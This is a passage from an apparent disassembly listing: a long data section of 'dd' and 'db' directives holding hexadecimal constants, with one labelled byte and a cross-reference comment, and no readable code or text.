		dd 0BBEFB701h, 0B5F1D640h, 6AF704BFh, 0C0F95A96h, 0AFEADBCEh
		dd 8E6B6890h, 0E0ADEDBAh, 0D3AC9D2Eh, 0E70B870Bh, 0C9AA822Ch
		dd 5C7070Ch, 4E7BBF18h,	8B5EC803h, 0A55E92B5h, 7213F06Eh
		dd 0FD2B1389h, 51F6620Ch, 0A53DD70Dh, 7B2FD101h, 5888A7DAh
		dd 0BF073539h, 2C577E5h, 0E92DDE01h, 202B0689h,	481247D2h
		dd 0C213FAE0h, 2762B0D9h, 0A0F150h, 0C2C98D43h,	0B41F2146h
		dd 8ECFF5F0h, 0DC682363h, 0C0F07E39h, 0ADF8E39Ch, 96674CACh
		dd 7FFBCB74h, 123A6108h, 9A31AB56h, 5336965Bh, 1B112DF0h
		dd 3F0A3302h, 4AB5FF64h, 84B77D1Ch, 0A3B3D480h,	2C4738AEh
		dd 67EDF3B1h, 1F1E61CBh, 0A1D46AA4h, 685B0480h,	0D43B0006h
		dd 240481ACh, 4A17C8F9h, 74080353h, 338D121Fh, 4BE731C5h
		dd 0DBBF12C8h, 404D904Ch, 244C0294h, 28B71337h,	712D311Fh
		dd 74348088h, 0CA2986Dh, 0C3D1A800h, 0BB0D6C50h, 0D72E1C09h
		dd 0D3575C5Fh, 0E1035190h, 0B9963248h, 39E4E89Dh, 0A40B34A1h
		dd 0C88B894Ah, 0F6155C0h, 2D068734h, 1E030ABEh,	0C7D9056Ch
		dd 0A709CD85h, 17C3B727h, 25D70469h, 35101622h,	905696A7h
		dd 2789C5B4h, 855A7D95h, 6EDE3E5Bh, 0CF2A27C0h,	0F7E4EAFCh
		dd 30502107h, 4407110Ch, 0E8C10130h, 0EA6F510h,	894C1F0Dh
		dd 82685803h, 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h
		dd 58180621h, 57016813h, 98DC491Bh, 0DA85090Bh,	5EBF03E8h
		dd 2953B162h, 2924D5D9h, 0D41FD62Fh, 58D7555h, 5F44B351h
		dd 5D64B02Ch, 0D2EC6D03h, 51B50109h, 0F87A1922h, 3305D621h
		dd 27455204h, 97E78100h, 14C5551h, 0A78A21B2h, 0C440D74Dh
		dd 3D4AE67h, 0ECE8D98Ah, 820B9DD7h, 0C06C7FAh, 9D600460h
		dd 0C4762AE4h, 5D9E9805h, 0F4F18924h, 0BB967750h, 0C03309FBh
		dd 0FF0F503Ch, 70E5EC36h, 0B9B86182h, 6F18BB25h, 0D71844E1h
		dd 26889C08h, 1B46DC25h, 0AE755900h, 3C8108BAh,	24DD824Ch
		dd 37ADF67Dh, 34190035h, 0DD8AE2D9h, 0C4868919h, 882BF81Fh
		dd 0F1009D66h, 0A40B5632h, 4E6346E4h, 518E327Ah, 4C22240h
		dd 0B389A95h, 90DBD295h, 80ED7D16h, 205F5089h, 4600F6A2h
		dd 53917331h, 9D988FC5h, 0FDFEF717h, 0F6BC6FE9h, 9D318809h
		dd 4E4BFA85h, 332F4986h, 46638609h, 0C76E5E5Bh,	0A7026D3Fh
		dd 0C9B3656h, 2611BDC0h, 0FB490391h, 0E00A700Eh, 0B04A9202h
		dd 0F56050A0h, 15B784h,	0C830BF66h, 678BBC61h, 90996429h
		dd 6E4ABB43h, 50735419h, 0B530C72Eh, 0B240534h,	64251D9Dh
		dd 0D1A18153h, 96B6782Eh, 32B84E25h, 48013111h,	0FB472D0Ch
		dd 37D9D8DFh, 3791506Bh, 0F0BE89C4h, 23686E8Fh,	6821F92Eh
		dd 6A16BB01h, 0CEBE5365h, 9B6B9251h, 9E05C2A5h,	32F92A0h
		dd 13AA2CAAh, 0ED21AD5Ch, 1F22E894h, 0C28FF4E5h, 3509B529h
		dd 211FB908h, 8A0240A0h, 618C4F95h, 0D40782E1h,	0AE09DA10h
		dd 82DC8AD1h, 7D16151Ah, 0E50048BDh, 0D023CB8Dh, 4983027Fh
		dd 2179BD89h, 0C6FEC990h, 0D5D8C4B3h, 8E660255h, 0AAB074D9h
		dd 7005C51h, 0E773DF7Dh, 1EA52E44h, 0CBDD1B38h,	0BB042370h
		dd 52969A56h, 148B82BAh, 0F3BDE900h, 6E3BE3FFh,	6D220272h
		dd 0DEC18B86h, 28FADC68h, 0A7EFC701h, 0D514127Bh, 9FFD9A45h
		dd 3FE9DD4Ah, 0A181809Ah, 0F8B574FCh, 499A3A73h, 0E2502940h
		dd 5BB825B3h, 7827FC63h, 51CAD3B1h, 0BC21819h, 0FA7384BCh
		dd 5B234B7Eh, 5255758h,	0F673C01Dh, 7E54F294h, 0D56E0F01h
		dd 7480D972h, 0A5918EF6h, 0BB91FE77h, 63072B95h, 0B8D4AD9Dh
		dd 0FC608B93h, 0C562EF22h, 0F22014E9h, 0FFED7Ah, 797D1197h
		dd 0D643AE5Ch, 0B12AE900h, 39A23F58h, 9D6150D2h, 0B3560252h
		dd 310F5B1Ch, 211F89C6h, 51C0CEC9h, 57E85AFBh, 321E9DBh
		dd 1BADB204h, 0B40023B8h, 7DFCF83Ah, 4181B509h,	9E3C6111h
		dd 72A58952h, 0DB3BF166h, 33C0C0E2h, 16D40E99h,	9CC7E2Ah
		dd 3E299DCDh, 916B3577h, 0D7B38118h, 40F2FA8Ah,	8214C942h
		dd 6060A956h, 3E7AE080h, 0E5253153h, 8259DE05h,	0B75DD16Ah
		dd 5D0D041Bh, 0A27AB8D1h, 0C257CF7Eh, 0AEC17BBFh, 25CD2249h
		dd 70A17302h, 0B325C2C4h, 7A5D150h, 901008A3h, 0FD623393h
		dd 5C1A1E25h, 0B40160B6h, 65092C10h, 7DFFBF6Dh,	0ABDF8D32h
		dd 0F10332AFh, 85680033h, 0DA7E90EDh, 0CAE95B12h, 8A8975E3h
		dd 0CFF3A829h, 937BA70h, 9D33BB49h, 66A55256h, 810F244Bh
		dd 0C2E449F7h, 65D99100h, 0EB473208h, 0A7DC00CEh, 0FBDD1C1Eh
		dd 0AB868B0Fh, 66043EBFh, 60FEDE31h, 0FCD46E61h, 1280BCCh
		dd 17EEE3CCh, 270120A9h, 66A64EC4h, 87FEA9A0h, 8E298C04h
		dd 99B9761Ah, 253C6C94h, 5B998A4Bh, 48891D9Bh, 0B5ADB473h
		dd 0DDE00396h, 0CBF884D7h, 120B6695h, 0EDFF6A5Ah, 568EC01Fh
		dd 85016EBFh, 0A10BF953h, 0C87E2951h, 0BD168BB3h, 0AC5734D9h
		db 90h
		db 6Eh,	0BFh
byte_544547	db 29h			; DATA XREF: ___:off_44721Co
		dd 133F000Fh, 0A8DF2CE2h, 4B5CBE4Ah, 0AC945F9Fh, 22699E04h
		dd 0A4A7D6B8h, 14692101h, 38827E09h, 70E60205h,	4B6580F5h
		dd 9071E483h, 97D84B0Dh, 0B90104DBh, 6CAB8078h,	97EA0DEh
		dd 1D5E76Ah, 7197E670h,	1DA40B69h, 1D4866D6h, 0D5D4FF80h
		dd 93CB690h, 5F910249h,	856195F4h, 0C1120139h, 3ED87AE1h
		dd 0DCF76D90h, 88547B16h, 0D4003ABBh, 0C82B57F0h, 0E1559D23h
		dd 0E5D13D9Eh, 67EF5240h, 5E1F6D77h, 0F8535B61h, 77315188h
		dd 351B659Dh, 1242BD85h, 2EA2870Fh, 27508029h, 29765C5Ah
		dd 91284D2Ch, 17F354Fh,	0E6D27F99h, 47BB5B3h, 0D269D3Ch
		dd 0F2382C5Bh, 0E310B912h, 121521F9h, 92D248Dh,	0C1E4FAC5h
		dd 1D79F580h, 0DD2BF981h, 1825C56Ah, 0E5224584h, 0FE1543A5h
		dd 14854619h, 7C579539h, 66410474h, 2F8177BBh, 0A9A0661h
		dd 8041DB05h, 5FB91699h, 85116C1h, 9DBF42FEh, 39751C91h
		dd 70AF29F0h, 85B99401h, 0C697A80Eh, 0E4CBE7E6h, 2E0E62FCh
		dd 0BDA6F6FBh, 0D01980E1h, 6809A80Dh, 60F4BA02h, 3FC02B7Fh
		dd 1ECA8D89h, 0E6D21685h, 0F713E026h, 2C0B075Eh, 0A95B6CD6h
		dd 0B569F773h, 3C5089A9h, 1D5FC450h, 6180C89Eh,	0D9ECEACCh
		dd 0BC012A05h, 58A8D5CDh, 0E5BF0F1Ch, 0F6BB1AE4h, 4EC64D70h
		dd 4FB5B3A9h, 92CE43C3h, 49A45D95h, 4081F361h, 6825D3F8h
		dd 0BDE5C6E4h, 13C0EECDh, 239CD78h, 67A3BA6Bh, 4D662107h
		dd 1662B124h, 89083201h, 0E22BB69Fh, 57E400B8h,	4F1812F7h
		dd 0BF9801CCh, 1C0949D7h, 2B2B2F5Bh, 95336004h,	11DB03Dh
		dd 1119851Ah, 51E356EFh, 0DA77AC94h, 0C5DD16DEh, 93A784A9h
		dd 0E784B855h, 0F822B076h, 4CF50494h, 0BC31FC8Ch, 0AAC8D624h
		dd 996800E5h, 5DE451A5h, 3728F762h, 3102FB7Ch, 3664DE08h
		dd 85376049h, 0E1FF8015h, 3F379Dh, 0ED68894Bh, 0FF4BABF5h
		dd 0F112F38Ah, 0A14AA703h, 282ECEE8h, 47D4E2D2h, 0C5D82586h
		dd 219C18D2h, 0FE158B51h, 0AD3F605Fh, 0C16F4DC1h, 30062CDAh
		dd 2D4F118Fh, 9A4A95B6h, 0C69480F3h, 1C4D2DC2h,	0A28E0F6Bh
		dd 1440BD94h, 27B8026h,	0B31F8315h, 0D782401Ch,	580907BDh
		dd 785093D4h, 24976E85h, 0CD5709EEh, 0B817698Eh, 5753023Bh
		dd 0F4EAC41Ch, 5669D45Ch, 905D329Eh, 910FCCC6h,	2160E99Ch
		dd 52501E5Dh, 3172E1DAh, 97D94430h, 0BA85AC29h,	3439C090h
		dd 0A3D3A138h, 5232D82h, 0FF9488E8h, 501F0338h,	0FA8B11ABh
		dd 1AA2005h, 4612023Ch,	0C38C820Fh, 0F2D5D68Bh,	4D61018Ch
		dd 958AE8F7h, 1C4B63D4h, 98B78D8h, 3FCA5F52h, 3F006751h
		dd 36A33BEEh, 2069048Eh, 0A9585FC1h, 1FE6B8FFh,	416FA537h
		dd 0CB8032D9h, 78302AA8h, 1246E781h, 0E316CD28h, 0C0004887h
		dd 5A0B5CC4h, 0C8F618h,	894D8B8Eh, 736DD12Ah, 45480D02h
		dd 5597E924h, 0DB2E22E4h, 0F3264529h, 935666A5h, 0BD17787Eh
		dd 125D485Ch, 4FE3C4DEh, 0C5BF127Ah, 7936E13Bh,	1ACEC15h
		dd 9A78AAB1h, 60B470EFh, 2841E9BCh, 35001933h, 55E58D87h
		dd 0C64BD6F6h, 0BC183F8h, 220B99Dh, 69565C5Bh, 26BD8F4h
		dd 0D115D3Dh, 39C303Ch,	290B548Ah, 3BD64BA1h, 9E7B32D4h
		dd 3FEDDC0h, 2B044687h,	0C4D34596h, 10E511Eh, 8C1ABF50h
		dd 367809DDh, 8997B71Dh, 897FB59Dh, 0B61B58CFh,	6B7CF6D3h
		dd 0D2703D06h, 2E84EC1h, 72D968F9h, 0C5CA223h, 0FB912602h
		dd 70A57B5Dh, 1902A4EEh, 0F380C86Fh, 6D295CB3h,	0E926AEEh
		dd 857190h, 106ED0ECh, 0DA16B6C6h, 0EE25094h, 0BC09643Eh
		dd 0C7D089F2h, 9DAC5D90h, 0DC9696h, 0B393D0E7h,	98C8A130h
		dd 12616148h, 6E74A34h,	0DCFF71B4h, 27E901A8h, 3207382Eh
		dd 18F6C19Ch, 132CE919h, 0B50830Fh, 5448C06h, 33C909BBh
		dd 0B712C7Bh, 2E4D27D7h, 0A0B7F4C0h, 0E3623F91h, 0FDE6CDA7h
		dd 0A5953108h, 987242Dh, 2F7118B9h, 5F044BC2h, 3F00D6BDh
		dd 603236AFh, 81DD008Ah, 4BA73AD7h, 0FDA56102h,	4F041589h
		dd 0BCE340F5h, 0BD2533D7h, 0B9E8781h, 5309B967h, 3A63AD93h
		dd 5D5CBBD2h, 5DEB368h,	0A0680680h, 0F482FF18h,	690C5CF5h
		dd 34DF3887h, 25AEE38Fh, 0BE5FC6D9h, 4504DC39h,	21B31208h
		dd 29EDA781h, 0CA509601h, 2B39A1E1h, 7189D05Dh,	68685928h
		dd 0A1007E77h, 95741C27h, 980B6797h, 85E90510h,	84719D89h
		dd 9998AD28h, 0A22AC19Ch, 5A8C420Ah, 0F1E4BDB6h, 0A96CAF65h
		dd 0BD995AB1h, 601211BDh, 9E2A94E1h, 0D1B3C05Bh, 62E9134h
		dd 0EFCDFE2Fh, 5D7BFA51h, 2F385F81h, 1A7F89C9h,	9CC99045h
		dd 0D7A10999h, 0BF700178h, 0E8EF811Eh, 0C24BA53Ah, 123757B3h
		dd 805CCB01h, 203F4291h, 62D6CAF9h, 447DE3F2h, 24C61E00h
		dd 872C4A86h, 0DB18971Ah, 2611DF80h, 0D3000BE9h, 0F75E8B01h
		dd 963A9EC3h, 0CA8F2576h, 58BD5FCBh, 0E8292E00h, 90F98F5Ch
		dd 806BB198h, 5B7F58F1h, 543F737Eh, 458EB86Fh, 0F46E50EFh
		dd 810642EDh, 9D2355B7h, 757E18D9h, 802CBC3Fh, 0CA7BBF89h
		dd 7EB8035Dh, 9C6FAD32h, 889F4896h, 0D3A47E3Ah,	0B43B5900h
		dd 4108712h, 0DF8B81B9h, 0FEE8A45Bh, 0E605080h,	0D5120CBAh
		dd 0F0E276h, 0DC7CE203h, 625C8Dh, 94344EC0h, 61706551h
		dd 0F209963Eh, 4B652256h, 821D7CF0h, 64DE5C0h, 0B7F23A97h
		dd 0E6985AAh, 0BE22C364h, 0A712BCA4h, 75C1A778h, 0BA500310h
		dd 75C7EADAh, 0E916DD37h, 23D701EAh, 580CADBDh,	9D263178h
		dd 6AA5CCE1h, 0F4BDFFFDh, 7400FD3Dh, 0B460853Dh, 24D941BFh
		dd 88D35AA1h, 5B140739h, 8535C0D4h, 0F65E28h, 201DC5C9h
		dd 0AE793F75h, 2554B652h, 951EEEFCh, 6241194Dh,	0AAD98B38h
		dd 0E72FC341h, 571C282Fh, 848BB28Bh, 0FDB4E81Fh, 49160069h
		dd 2E90FD54h, 0FF00C738h, 0FC0EF1C1h, 25D37EBBh, 15E65BF9h
		dd 79B740BFh, 53608233h, 0C67061F2h, 786D5B95h,	9204254Ah
		dd 599D035Dh, 0CB4A41E8h, 256E4EE9h, 0FE0BA000h, 814F6371h
		dd 4B79E301h, 6FE91D5Fh, 0E205162Fh, 0DEB10089h, 36200853h
		dd 778027Dh, 1680AB68h,	17D5F782h, 886B0E2Dh, 0B7BFC13Dh
		dd 53580B8Bh, 0B85BEA24h, 0D3E0D7FDh, 0BB908032h, 395E4809h
		dd 20855033h, 0F84B310Fh, 2594DECh, 0BD05F2BCh,	29B52A75h
		dd 344B13FAh, 0E383AE84h, 0F4ED4A02h, 2541758Eh, 8708AA87h
		dd 8157F4FEh, 7C76D83Ch, 0DE052514h, 502B336Eh,	0E1E31E12h
		dd 4BB7C3A0h, 0BD91172Dh, 0C5C70EA0h, 0D6F9F3A3h, 78253BBCh
		dd 0B557CEFCh, 3C0077B5h, 1A681030h, 0C95607C0h, 198D7865h
		dd 9C3FD5h, 7A1299DFh, 0E528690Dh, 7120B589h, 0D1FF2516h
		dd 2BA9CA90h, 0C4E6ED12h, 0A8885EE2h, 0B19467Eh, 0F8BE79h
		dd 0DDBB54DBh, 3E2E2FB7h, 42E0CAE0h, 0FF026A26h, 0F6B112DEh
		dd 2EA2A80Ah, 920FE790h, 69BBA026h, 0F728EE5Fh,	80AADB6Eh
		dd 39522606h, 9C540B22h, 562BCD42h, 95D8C0DBh, 0E7F6C2C4h
		dd 0AB5450F1h, 88E31C12h, 0FED00B93h, 1F458DF8h, 0AD4989D9h
		dd 3F22202Fh, 0D1952423h, 0EA070031h, 0BE1BD6D5h, 501FAA07h
		dd 98BB3708h, 7444882h,	0B6BA3464h, 2E5AC166h, 98352E22h
		dd 0B220A1F1h, 50104015h, 81057EC8h, 0CA5CECBFh, 2BAB2571h
		dd 6EFF4B64h, 41B82DC1h, 0B73E1561h, 6DDB4A6Ah,	80CF1888h
		dd 21109FD3h, 2BFF09BBh, 76731222h, 0C7A0D83Dh,	2463290Ch
		dd 0C1E6F84Eh, 7CBAFE1Ah, 0B1A740CFh, 0BFA71662h, 0C41F5CDFh
		dd 5DE25615h, 0B516ED00h
		dd 8D7E4D3Eh, 2FC3D600h, 0ADCB777Dh, 38B3712Eh,	8009B055h
		dd 2D700EDBh, 0E904BF71h, 0DE8B71E4h, 0E7302BB9h, 159D2353h
		dd 0B6852662h, 0E9D685C8h, 9C7B89F1h, 0C18817A3h, 0CEF0481h
		dd 0B858F5CEh, 80E15C11h, 0F97E21B0h, 83404BC8h, 81B52B16h
		dd 89276188h, 78AD143h,	720A1A5Bh, 53972160h, 0C87007B3h
		dd 7074B201h, 0D3AB09FEh, 0BF051471h, 1E9412C6h, 53EBE484h
		dd 0D4F1CD00h, 344BBDB5h, 44E90E88h, 0D801DD08h, 1C5E4E4Ah
		dd 20A7311Dh, 0B9DEE984h, 86212205h, 727A00E3h,	0B9329278h
		dd 0CE039973h, 0A1A659E2h, 916E5FE6h, 853BE979h, 10D78033h
		dd 0F82A32BBh, 0B80FCB84h, 0A725880Fh, 0A73F48D8h, 18A528F4h
		dd 139DFE58h, 5F9416C9h, 23517607h, 250B45D3h, 12CC5F0Eh
		dd 181AED20h, 19018A0Fh, 0D3956AF8h, 0B2887809h, 0E8CF54Bh
		dd 0BFB373B9h, 0FCE19998h, 0F0BD36E3h, 9559774Bh, 0BD2B9310h
		dd 28146949h, 1500BBAh,	54823080h, 76827ADFh, 9556E676h
		dd 522FCE48h, 20604B2Dh, 32486475h, 0CEF08700h,	39130CDBh
		dd 80C33881h, 0B2A8C492h, 30A75B83h, 9EFB22A7h,	3A958558h
		dd 52AD5B9Fh, 0A6FAE875h, 0C5DA16C1h, 1D4AE660h, 59E58D9Dh
		dd 56537AB4h, 0AA7670h,	8157CA07h, 0AB8E97DBh, 655B1A25h
		dd 0DE8516A2h, 71E8C95Dh, 0A04E000Ch, 990F338Eh, 0A4FA509Fh
		dd 0A96D9715h, 0EB9273E1h, 1F34822Eh, 0D6CD5409h, 0E4001C46h
		dd 0F657DD60h, 0C45826A0h, 84E12763h, 38AB0FFAh, 158B1186h
		dd 1331D18Ah, 19110188h, 5268BF02h, 0FD8461A7h,	0D95308Ch
		dd 8531802Eh, 2512554Dh, 3C926561h, 0DC72D768h,	0E21B5A01h
		dd 0E31A9DA4h, 126660FCh, 0B190C6BBh, 0CF64208Eh, 62094725h
		dd 7095D357h, 3D122055h, 5AB4F899h, 0B6017011h,	0AE05DE10h
		dd 8E6A9FCDh, 0C24BD9F3h, 54091F7Ch, 8E8ED632h,	7B39BD00h
		dd 0B2D496FCh, 842E5BE9h, 0E91AA118h, 9D011054h, 3F6BE925h
		dd 3162353h, 0FEB4399h,	9FC515FAh, 7ADA7400h, 5C9FB605h
		dd 200F9DDh, 0AA5AED17h, 680165D3h, 12F69472h, 802AD98Bh
		dd 0E9978DFDh, 769B2EF3h, 0E09A5B80h, 2A058202h, 0A4C0589Ch
		dd 0BC1A8F8h, 217C5BDh,	5D818260h, 8E0F0228h, 57B6616Ch
		dd 0E1CC6197h, 890E25B3h, 0E0BE134Ch, 199E985h,	95FE4588h
		dd 2BFC6299h, 5C34134h,	8D534AA5h, 62FB2043h, 43C12212h
		dd 892C06B3h, 0D0A19DDh, 7B406106h, 0C624DC55h,	0BE19C58Dh
		dd 0DE7A24E0h, 74B44190h, 260D709h, 7D066DE5h, 0B300646Ch
		dd 0E1663E2Ch, 76B48Fh,	0EEF36281h, 63E2A867h, 58E3E8F3h
		dd 393B6148h, 50961C6Fh, 0BFA5B65h, 8DC05FD8h, 969522D9h
		dd 0D4CC941Ch, 72FE9A02h, 0E626F834h, 498D00B6h, 38F06F1h
		dd 680466E8h, 22A29097h, 3F57F9E1h, 0D5BD93B3h,	5E097B6h
		dd 7C1C1CAFh, 4E406FF6h, 0DE8BD98Ah, 0CF855E8Dh, 0C016C859h
		dd 90481F52h, 0AFD29097h, 0E86300BCh, 0FD5ADEC6h, 504BAA46h
		dd 384470C8h, 10097E16h, 0B002EF98h, 0B757905Fh, 0A63200F2h
		dd 58525FB4h, 5820605Eh, 2FC590DAh, 2B5AA1EEh, 6A0766FCh
		dd 89A0BD7Fh, 120563Fh,	4AF98D09h, 49FA720h, 61FBBF0Fh
		dd 2AB954F9h, 0C85E9E8Bh, 8402F97Bh, 0E44508DEh, 758F42C1h
		dd 9D5189A9h, 0AF905D69h, 0FE008419h, 6542C434h, 1DE8A23h
		dd 7E18BB76h, 0DAB3C892h, 5359E9FEh, 0BB66203Eh, 98918B93h
		dd 887B3587h, 8197790h,	61A400B6h, 0EDB43C13h, 0FFA08A89h
		dd 0E9F68194h, 0A7B4A4Eh, 70F6102h, 446A9159h, 0A1BD6677h
		dd 9FEB5E6h, 2DD7B351h,	945EF490h, 9AB44301h, 7684D123h
		dd 0E93101CDh, 3F098EA5h, 0BF82F3B7h, 82EC0D4Fh, 618D2DDBh
		dd 8F2A25D0h, 45F13EDh,	0B8E8F3B9h, 0E41C7700h,	0ECBF667Eh
		dd 0BD659534h, 0FBE70493h, 0B0DB52A0h, 82051180h, 2F695960h
		dd 8BE2E8BCh, 69B656DFh, 9823A79h, 562F7185h, 0DEF6E912h
		dd 96D91060h, 9AA802CFh, 67702BFh, 0EDEBA256h, 0B7D941FEh
		dd 60176093h, 8B7BB107h, 818061CFh, 5CE08FD3h, 9D0961B2h
		dd 0A05B2ED1h, 0B41C1A79h, 210B7074h, 260C70Fh,	51E29AAh
		dd 2C93C231h, 0B71EAD0Ah, 13A666E5h, 0D2399D33h, 62DE8F5Ah
		dd 0FE445449h, 52E8AF00h, 0B53D64BBh, 0E9F29593h, 61AB9E16h
		dd 0B4A39E12h, 0ABC48925h, 819E1895h, 0AE9809F3h, 24C65B28h
		dd 9E78059Bh, 0EB570138h, 800F7ABEh, 70EB140Ah,	0B78CBCB6h
		dd 9AC50E4Ah, 25B8E8EDh, 31BD1600h, 0B7515698h,	0B88995F7h
		dd 5AA5CEB7h, 0C5D73E3Fh, 128E47A6h, 5AAAB3FBh,	9515B9F0h
		dd 0F84F686Eh, 6FA065E7h, 0EE4A16B4h, 4E715DE7h, 0E82CA91Ch
		dd 6F5D00ABh, 544538CCh, 9D100929h, 0CD5F242Dh,	46A3AFEh
		dd 307FEE16h, 9B01435Ah, 2116710Eh, 0B70AA024h,	131CEE6h
		dd 0C38FC64Bh, 498CEE36h, 80807C6Fh, 626E7288h,	25D3016Ah
		dd 55D63781h, 0F7C9F099h, 8A354404h, 97AC5FFAh,	0F0F6B693h
		dd 955EF171h, 74459394h, 99005963h, 0F7805257h,	92018945h
		dd 0C5CA93B9h, 6E60C690h, 0B710BD60h, 0E2B8BED7h, 0C8321B00h
		dd 6F5B7E73h, 52502A3Ah, 9B610073h, 0FFBBAB91h,	0E139F855h
		dd 0ECA80169h, 60267497h, 0B3A6047Bh, 57D4FE8Ah, 0B79BD012h
		dd 0F0FBF782h, 1C29047Dh, 7E14C017h, 85995B24h,	8ABE3549h
		dd 209D5367h, 0DF803C1Bh, 572AD2D5h, 0E067F6F7h, 1722237h
		dd 14D3630h, 3317B9B5h,	0FAA996DFh, 9B054AA8h, 9D034320h
		dd 9556D7C6h, 6B600099h, 8529D407h, 0FB29F799h,	4D46E751h
		dd 6E438D57h, 0DFB23A42h, 5369E856h, 331AD8DDh,	3025B02h
		dd 3C18B1BDh, 12D44BBCh, 0B1EEE978h, 339B3FD2h,	0CAE9B680h
		dd 0A54CE073h, 69F904F9h, 0E8A9C18Bh, 0DC0114B8h, 0F1853425h
		dd 0DA6AA50Ah, 0C118C8C0h, 61F032F3h, 359041EEh, 0D8A064CBh
		dd 29094A76h, 24323195h, 8CAA5006h, 6A95562Fh, 0EF37FDE4h
		dd 5AC6E709h, 23D715C3h, 0A31807F9h, 95F5DCF2h,	0C407FE25h
		dd 52789790h, 0C89CBA07h, 0E670F08Dh, 90EE7AFDh, 0DC92F5Ch
		dd 5561AC4h, 6CADF0DAh,	0EB01258h, 0B1D5A14Dh, 26B562E9h
		dd 40EB8000h, 1D8B60CFh, 0DE037625h, 0B55AA616h, 223130F8h
		dd 2AECC75Bh, 1AC880DAh, 3C8B8FC0h, 56A51D4Ch, 559D84A4h
		dd 8270AB26h, 93D1FFF5h, 3AB97847h, 49398B00h, 89E6A9E5h
		dd 0E5D2F9Dh, 1F117EA2h, 45295909h, 0ECAFE96Ch,	45BF3F53h
		dd 2B0A5703h, 0F7B06054h, 0EE48FF8Dh, 6DB9005Fh, 26A61A6h
		dd 0BB9000F9h, 158FB896h, 0F379B350h, 7DC0FBEh,	0B27FC3Ah
		dd 0ED0F84BDh, 28B7C4CAh, 0C178F182h, 392BB5A5h, 6932A8EDh
		dd 0C467CD97h, 0AB84AF9Dh, 0DA8BB245h, 0D4B8AFF9h, 7AC04E03h
		dd 8F49B5D3h, 9D0071A9h, 44CDD629h, 888A500Bh, 0BD5B0180h
		dd 8A4A90A9h, 12A94AFAh, 139020A8h, 5907CD25h, 0C8D64961h
		dd 77D7F20Bh, 1492D835h, 6ACDE860h, 753795FFh, 0E112D605h
		dd 3391BF81h, 81FDDE6Ah, 0C4542A8Ah, 1817622Eh,	0C1B58920h
		dd 0C64B508h, 2CCB8109h, 11087095h, 1609C7BBh, 0DF52F59Dh
		dd 2AE20CB5h, 0EF28163Fh, 70F9A309h, 5E50970Dh,	414C2347h
		dd 0C5176748h, 9249B818h, 301E07F2h, 2F6149F4h,	0A4320671h
		dd 8B82A2E9h, 0F349D0D1h, 15CD0778h, 6FEF31DBh,	20EA6AD5h
		dd 0A84A3A99h, 55F58F00h, 0EDE02B06h, 5284003Dh, 0CE2F7EDFh
		dd 948E5D8h, 40094F46h,	4A06705Fh, 2531F851h, 0BD095925h
		dd 17D59D08h, 305927C4h
		dd 3E4E3885h, 68A9460h,	1D14880Dh, 91499729h, 2350E961h
		dd 0D0EF0B3Fh, 557B6228h, 801297C6h, 83C2B9F7h,	1EB15524h
		dd 221E1630h, 0A5502B41h, 419DFE1Eh, 742E3307h,	539F1F80h
		dd 219E240Ch, 0DDBD339Fh, 6C0CA531h, 24D3201Ah,	9F6BC94h
		dd 5595C29Eh, 44AF1571h, 66BF3D50h, 0BED0E00h, 8F5ED315h
		dd 0C7544B03h, 0F0CD591Bh, 2FB9B1AFh, 0F6BD0804h, 4BB56501h
		dd 0F894F09Ah, 0FCC9AAB9h, 0A7C0A24Dh, 27BE3BBBh, 8AD9F44Ah
		dd 7DC86C00h, 0CA8D2Ah,	718B72BFh, 3FF26266h, 0A705DC75h
		dd 0FC9FB338h, 0DB8C4E9h, 97259102h, 0D72ED2F7h, 12807985h
		dd 4B95E9ECh, 86BD9557h, 0B902B4BCh, 4C65E55Dh,	49B45C9Ch
		dd 8BE2AE59h, 0EF81EDFBh, 0D64287A0h, 129767AAh, 8F8C71CDh
		dd 37120F56h, 2B99D2AAh, 5F2194D5h, 0AC01C423h,	4A89BD73h
		dd 0BD5D0109h, 56F2274Ch, 195D0F90h, 77CA4A41h,	195B6C25h
		dd 4BA0ABD8h, 21E182C5h, 9229EEB9h, 53E2086Ch, 1C6BD3h
		dd 4EAC0232h, 41758D89h, 5B4662Dh, 8E0FE1FFh, 0B3482BA3h
		dd 225ECA4Ah, 25E49057h, 5EC732A9h, 0AADE5F16h,	0F694E3C1h
		dd 2A7F2053h, 14975BE2h, 59F84369h, 0ADAC5Dh, 0EA49F4AFh
		dd 2E8A1347h, 5810F13h,	0FA54DC61h, 37D5FB02h, 4D4E81F9h
		dd 2B29B68Eh, 0D8AF4284h, 0F23CA74Fh, 0C282A5B2h, 190486A2h
		dd 910CC4E5h, 65AB08h, 0BD8072DAh, 885F6A46h, 0AB2DC6E4h
		dd 491A5489h, 0C862B25Ah, 56F98B33h, 3F826970h,	945C2C45h
		dd 40D118ECh, 60005025h, 0F5BFEFB6h, 0B5417BD9h, 748810F2h
		dd 0F618DE0Ah, 9C4F449h, 0C0C15F9Dh, 4BF268AFh,	0BBDCCB1Eh
		dd 2C9C0585h, 0D0535FCh, 0BE2353B8h, 6A0B906Fh,	9302158Eh
		dd 8001223Dh, 882C29F3h, 0C196DE5Bh, 8E86093h, 0D2913010h
		dd 73A4F80Fh, 79A3779Ah, 0C50592Fh, 382F6922h, 8DCB61F7h
		dd 93B44369h, 3830E991h, 9BB3A89h, 710CFF80h, 27BAA069h
		dd 0FEF92639h, 0D4DBFC69h, 0C07F6E2Fh, 97EEAE00h, 377B8A12h
		dd 0B6ACC78h, 0EBA4F09Dh, 8160095Eh, 25373ECBh,	0B1CA1FE0h
		dd 403F4FD5h, 374640CCh, 1652850Bh, 0C4E78E8Ch,	13562C21h
		dd 0D820AB83h, 1C05FB2h, 0E78AC2A5h, 0E84655B5h, 0E3273EF3h
		dd 4AE1D820h, 4BE5A75Bh, 0CC81829Ah, 0EC2278A2h, 914DEE7h
		dd 78ADFE4Bh, 47A66212h, 0D5360DF1h, 9A077AF0h,	0AA0AF409h
		dd 0F85FE4A3h, 0AF67007Bh, 30F16BEEh, 0CFFC58BFh, 2CE29948h
		dd 0B11AA5Bh, 0B781603Bh, 459D33CAh, 84C23C0Dh,	0F353068Bh
		dd 98135A94h, 5500C3A2h, 0E659A29Fh, 0EA257D08h, 7D1AE2B3h
		dd 0E88069BDh, 9F7580E0h, 63650982h, 49769EA3h,	0C931D70Ah
		dd 68A93318h, 6FDF70A4h, 4E531EE1h, 1E445B0Fh, 0C0ECF81Fh
		dd 33F63807h, 27E72F7h,	34BDABE3h, 46F56A9Dh, 240158FEh
		dd 0B85F0234h, 6FAF9215h, 88010091h, 8BB19B41h,	445598D8h
		dd 344A0709h, 204A14F6h, 0A84EEC72h, 89B51313h,	764C7DADh
